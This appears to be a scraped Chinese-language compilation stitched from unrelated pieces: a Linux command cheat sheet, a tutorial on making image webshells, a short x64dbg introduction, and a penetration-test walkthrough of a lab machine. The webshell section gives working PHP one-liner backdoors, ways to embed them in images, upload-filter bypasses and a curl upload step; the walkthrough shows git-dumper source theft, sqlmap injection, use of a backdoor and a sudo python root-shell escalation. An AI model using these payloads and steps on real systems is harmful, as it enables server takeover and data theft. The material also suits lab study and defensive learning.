这里整理了一份全面的 Linux 常用命令速查表,按照功能分类。方便快速查阅!
| 命令 | 说明 |
|---|---|
uname -a | 查看系统内核及架构信息 |
cat /etc/os-release | 查看 Linux 发行版信息 |
hostname | 查看主机名 |
whoami | 显示当前登录用户 |
id | 查看用户 UID、GID 及所属组 |
uptime | 系统运行时长及负载 |
top / htop | 动态查看进程和资源占用 |
free -h | 查看内存使用情况 |
df -h | 查看磁盘使用情况 |
du -sh * | 查看当前目录下各文件/目录大小 |
lscpu | 查看 CPU 信息 |
lsblk | 查看磁盘分区和挂载情况 |
| 命令 | 说明 |
|---|---|
ls -al | 列出文件(含权限、隐藏文件) |
cd /path | 切换目录 |
pwd | 显示当前目录 |
cp src dst | 复制文件或目录 |
mv src dst | 移动或重命名文件 |
rm file | 删除文件 |
rm -rf dir | 强制删除目录及内容 |
mkdir dir | 创建目录 |
touch file | 创建空文件 |
find /path -name "*.txt" | 按名称查找文件 |
locate filename | 使用索引快速查找文件 |
tree | 以树形结构显示目录内容 |
| 命令 | 说明 |
|---|---|
cat file | 查看文件内容 |
more file / less file | 分页查看文件 |
head -n 20 file | 查看文件前 20 行 |
tail -n 50 file | 查看文件后 50 行 |
tail -f file | 实时查看日志变化 |
nano file / vim file | 编辑文件 |
wc -l file | 统计文件行数 |
strings file | 提取可打印字符 |
grep "pattern" file | 搜索匹配内容 |
grep -r "keyword" dir/ | 递归搜索目录 |
diff file1 file2 | 比较文件差异 |
| 命令 | 说明 |
|---|---|
adduser username | 添加新用户 |
passwd username | 修改用户密码 |
userdel username | 删除用户 |
groupadd group | 创建新组 |
usermod -aG group user | 将用户添加到组 |
chmod 755 file | 修改文件权限 |
chown user:group file | 修改文件属主和属组 |
sudo command | 使用管理员权限执行命令 |
su - user | 切换用户身份 |
| 命令 | 说明 |
|---|---|
apt update | 更新软件源 |
apt upgrade | 更新所有已安装软件 |
apt install pkg | 安装软件包 |
apt remove pkg | 卸载软件包 |
dpkg -l | 列出所有已安装软件 |
| 命令 | 说明 |
|---|---|
yum update | 更新软件包 |
yum install pkg | 安装软件包 |
yum remove pkg | 卸载软件包 |
rpm -qa | 列出已安装包 |
| 命令 | 说明 |
|---|---|
ip addr / ifconfig | 查看网络接口信息 |
ping host | 测试网络连通性 |
curl url | 获取网页内容 |
wget url | 下载文件 |
netstat -tulnp | 查看端口和监听服务 |
ss -tulnp | (推荐) 查看端口和监听服务 |
traceroute host | 路由跟踪 |
dig domain / nslookup domain | DNS 查询 |
scp file user@host:/path | 通过 SSH 复制文件 |
rsync -av src dst | 高效文件同步 |
| 命令 | 说明 |
|---|---|
tar -cvf file.tar files/ | 打包 |
tar -xvf file.tar | 解包 |
tar -czvf file.tar.gz files/ | 压缩 |
tar -xzvf file.tar.gz | 解压 |
zip -r file.zip dir/ | 压缩为 zip |
unzip file.zip | 解压 zip |
| 命令 | 说明 | |
|---|---|---|
ps aux | 查看所有进程 | |
| `ps -ef | grep name` | 查找进程 |
kill PID | 终止进程 | |
kill -9 PID | 强制终止进程 | |
systemctl start service | 启动服务 | |
systemctl stop service | 停止服务 | |
systemctl restart service | 重启服务 | |
systemctl status service | 查看服务状态 | |
service service status | 旧版服务管理 |
| 命令 | 说明 |
|---|---|
mount /dev/sdb1 /mnt | 挂载分区 |
umount /mnt | 卸载分区 |
lsblk | 查看块设备 |
fdisk -l | 列出磁盘分区 |
blkid | 查看分区 UUID |
parted /dev/sdb | 分区操作 |
| 命令 | 说明 |
|---|---|
sudo ufw enable / ufw allow 22 | 防火墙配置(Ubuntu) |
iptables -L | 查看防火墙规则 |
last | 查看用户登录记录 |
who | 当前在线用户 |
journalctl -xe | 查看系统日志 |
cat /var/log/auth.log | 身份验证日志 |
cat /var/log/syslog | 系统日志 |
图片马(Image Webshell)是一种将恶意代码(如 PHP、ASP、JSP 脚本)嵌入到图片文件中,以绕过上传检测和安全防护的技术。
核心思路:
常用场景:
.jpg、.png 文件)。在制作图片马时必须保留原始图片头部数据,否则无法通过文件类型检测。
| 图片格式 | 魔数 (Magic Number) | 十六进制表示 | 特点 |
|---|---|---|---|
| JPEG / JPG | ÿØÿà 或 ÿØÿÛ | FF D8 FF E0 / FF D8 FF DB | 最常用,短头部,适合插入代码 |
| PNG | .PNG | 89 50 4E 47 0D 0A 1A 0A | 8 字节头部,必须保留 |
| GIF87a | GIF87a | 47 49 46 38 37 61 | 旧版 GIF |
| GIF89a | GIF89a | 47 49 46 38 39 61 | 常见 GIF |
| BMP | BM | 42 4D | 位图文件 |
| TIFF (Intel) | II* | 49 49 2A 00 | 小端序 |
| TIFF (Motorola) | MM* | 4D 4D 00 2A | 大端序 |
| WEBP | RIFF....WEBP | 52 49 46 46 xx xx xx xx 57 45 42 50 | RIFF 格式图片 |
注意:
file.php.jpg、Base64 编码,绕过部分检测。cmdcopy /b normal.jpg + shell.php hacked.jpg
/b 二进制模式normal.jpg 正常图片shell.php 一句话木马hacked.jpg 输出文件cmdexiftool -Comment="<?php @eval($_POST['cmd']);?>" normal.jpg
bashcat normal.jpg shell.php > hacked.jpg
bashecho "<?php @eval(\$_POST['cmd']);?>" >> normal.jpg
mv normal.jpg hacked.jpg
bashexiftool -Comment="<?php system($_GET['cmd']);?>" normal.jpg
hacked.php.jpghacked.PhPContent-Type: image/jpegbashtail hacked.jpg
bashstrings hacked.jpg | grep "<?php"
file hacked.jpg 检查真实类型上传成功后,要结合服务器解析漏洞执行代码:
file.php.jpg 可能被解析为 PHPxxx.jpg/1.php 触发执行风险:图片马一旦执行,可直接成为 webshell,危害极大。
防御措施:
bash# 1. 准备文件
cp test.jpg normal.jpg
echo "<?php @eval(\$_POST['cmd']);?>" > shell.php
# 2. 合并图片和木马
cat normal.jpg shell.php > hacked.jpg
# 3. 检查文件尾部
tail hacked.jpg
strings hacked.jpg | grep "<?php"
# 4. 上传并访问
curl -F "file=@hacked.jpg" http://target/upload
x64dbg 是一个强大的 Windows 调试工具,适用于反向工程、漏洞分析和破解程序。它支持 32 位和 64 位应用程序的调试,界面友好,功能强大。
.exe 文件,点击“打开”。x64dbg 的界面包括多个区域:
断点是调试中非常重要的功能,可以在程序执行到某个位置时暂停。
在调试过程中,单步执行可以让你逐行分析代码。
寄存器窗口显示了 CPU 的寄存器状态,可以手动修改寄存器的值。
堆栈窗口可以查看函数调用和返回时的堆栈数据。
x64dbg 提供了一些调试命令,可以通过命令窗口直接输入:
bp [地址]:在指定地址设置断点。r [寄存器名]:查看寄存器的当前值。d [地址]:显示内存中的数据。t [命令]:执行命令。x64dbg 支持强大的反汇编功能,你可以通过反汇编代码来理解程序的执行逻辑。


sudo arp-scan -l #列出所有已开启的主机IP
通过对比Mac地址,获取目标IP:192.168.184.156
nmap -p- 192.168.184.156 #扫描所有端口情况
能看到这里开放了80端口和22端口,现在可以在浏览器内访问一下192.168.184.156:80

dirsearch -u "192.168.184.156:80" #目录扫描
这里可以看到对方泄露了自己的git仓库,众所周知,git仓库内存放着项目源码,那么我们可以使用工具将对方的源码全部下载下来,不过这里并不着急下载源码,继续对当前网页进行测试
- 添加闭合符对账号密码的输入框进行测试,检查是否存在注入点 - 我这里进行测试后并没有看到明显的注入点,当然也可以下载下来数据包使用sqlmap进行自动化测试,不过我走git源码的路子已经打通了,这里就不测试了。
git-dumper http://192.168.184.156/.git/ tmp #将git源码下载到tmp文件夹内
git log #查看日志

git diff 版本名称 #对比版本差异

发现一个账号和密码: lush@admin.com 321 现在可以尝试登陆了

发现url里面有个参数id,看起来就像sql注入,这里我直接使用sqlmap扫一下,由于是登陆状态进行扫描,所以先复制一下自己的cookie:F12->network->Cookie
发现两个表
爆表

查看一下用户权限:
看一眼历史命令:
这边看到好几条有些疑问的命令,看着是给靶机的9999端口发送命令,命令参数是cmd,看着就像是一个后门,我们尝试访问一下:
果然是一个后门,而且我们可以利用:首先查看一下这个losy用户的历史命令:
看到一个形似password的字符串,尝试ssh登录:
登陆上了,也许是凑巧,不过不管了,能用就行,现在看一眼这个用户的权限:
呀呵~这个用户有root权限,可以以root权限运行python程序,那么我们可以直接构造python代码直接提权:sudo python3 -c 'import os;os.setuid(0);os.system("/bin/sh")' #将当前用户uid设置为0(root用户),然后再打开一个root终端
